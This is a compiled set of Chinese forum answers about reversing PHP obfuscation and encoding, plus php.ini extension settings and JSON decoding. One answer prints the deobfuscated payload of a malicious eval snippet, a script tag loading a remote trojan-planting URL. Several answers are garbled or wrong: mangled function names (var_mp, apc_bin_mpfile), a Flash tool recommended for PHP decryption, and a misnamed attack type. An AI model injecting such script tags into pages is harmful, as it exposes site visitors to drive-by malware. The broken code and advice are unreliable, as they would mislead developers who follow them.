php擴展反編譯
對於eval這樣的無聊「加密」,你把eval改為echo,並且注釋掉這以後的所有內容,運行一下,把輸出的結果替換eval語句既可。
2. 哪位可以PHP反編譯一下
PHP的編譯是線性的編譯過程, 不做優化, 所以這個過程非常之快。
而編譯和執行分離這個特性的提出著認為分離以後, 可以省掉編譯過程, 會有很大的性能提升.
代碼如下:
$ find ./ -name "*.php" -exec php -r "apc_bin_mpfile(array('{}'), array(), '{}' . '.bin');" \;
你可以去後盾人平台看看,裡面的東西不錯
3. PHP可以使用VB把他的核心代碼封裝成DLL嘛
PHP使用VB封裝成DLL?沒有試過。
不過,Zend Corporation (http://www.zend.net)
開發的產品 Zend Studio 可以裝PHP進行編譯,編譯過的PHP運行速度比不編譯的要快。而且,因為編譯後生成的是二進制文件,所以,Zend Studio 也就達到了為PHP加密的功能(雖然國內已經有人開發了一種能對被Zend Studio某些版本編譯過的PHP進行反編譯,從而得到源代碼)。Zend Studio並不是免費的。
經過編譯後的PHP程序不能夠再運行,你的伺服器上必須裝有Zend 公司的另一免費產品:Zend Optimizer。使用Zend Optimizer 後,就可以在你的伺服器上正常運行編譯過的PHP程序了。
4. 如何把編譯過的PHP程序進行反編譯
PHP源碼可以隨時反編譯吧 你網路搜索一下 淘碼呦 這個論壇里就有很多人可以幫你 也有很多資源...
5. PHP加密後,如何反編譯並處理成源碼有什麼好工具推薦嗎
easySWF吧,我用過了,蠻好用!
6. PHP中擴展庫是什麼意思
擴展庫是php擴展的功能,比如php本來不支持操作某種功能 ,但在新版本想對它提供支持,就以擴展的方式來提供,這樣,我們在配置php時,如果我們不用此功能,我們就可以讓php不載入他.從而節省伺服器資源.提供其性能
php的擴展庫一般放在php目錄下的ext目錄里.你在網上下載的php壓縮包解壓後應該可以看到.
php.ini中的 extension_dir 用來指定你的擴展名的地址 。
php.ini中有一排像 ;extension="xxxxxx.dll" 的內容就是用來配置讓你的php運行環境支持什麼不支持什麼。
以下為php.ini中的剪切段
------------------------------
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_gd2.dll //php對圖片操作的擴展
;extension=php_gettext.dll
;extension=php_gmp.dll
;extension=php_ifx.dll
;extension=php_imap.dll
;extension=php_interbase.dll
;extension=php_ldap.dll
;extension=php_mbstring.dll
;extension=php_mcrypt.dll
;extension=php_mhash.dll
;extension=php_mime_magic.dll
;extension=php_ming.dll
;extension=php_msql.dll
;extension=php_mssql.dll //php操作mssql (sql server)資料庫的擴展
;extension=php_mysql.dll //php操作mysql資料庫的擴展
------------------------------
要讓php支持某種功能,把extension前面的 " ; "號去掉,重啟apache或iis即可。
7. 求助啊!php反編譯的問題。。
json處理過,反json下,\u5927 ,是16進制處理過的字,
$a = json_decode('{"id":"993","title":"\u5df4\u7279\u5c14\u66fe\u51fa\u6f14\u8fc7\u4e00\u90e8\u7535\u5f71\uff0c\u540d\u5b57\u662f","imgurl":"http:\/\/i1.gbimg.cn\/zt\/2011\/04\/02\/93.jpg","options":"\u975e\u8bda\u52ff\u6270||\u5341\u6708\u56f4\u57ce||\u8ba9\u5b50\u5f39\u98de||\u5927\u704c\u7bee","vpcode":"yi1u"}
');
var_mp($a);
js有個json2.js,可以與php中的json_decode json_encode互轉,實現ajax後台傳任何數據。json網路里有,關於json2.js用法,網上很多。另外ajax傳數據用 js和php數組序列化(serialize和unserialize)也可以,不過json更強大些
8. php 反編譯源碼,請說下方法或是幫我看下下面代碼。
你把eval修改為 echo 自己運行一下,就知道了源碼了。eval後執行後核心代碼是輸出一句:
<script src="http://holasionweb.com/oo.php"></script>
也就是掛馬的網址,典型的rss攻擊,沒有什麼高明的
9. php如何反編譯
PHP沒有編譯和反編譯之說,是解釋型的語言,你如果看到的代碼有兩種可能,一種是用eval來執行的用簡單base_encode之類函數加密的語句,反解密出來就可以了。
還有一種可能是使用ZendGuard或者其它加密代碼的工具進行加密出來後的代碼,你可以找找具體是哪種情況,然後找相應的解密工作就可以了。
10. PHP一些擴展在編譯的時候沒有安裝怎麼辦
一些擴展都是php自帶的,開啟即可
如果不是自帶的,要先安裝,配置里加上此擴展,在開啟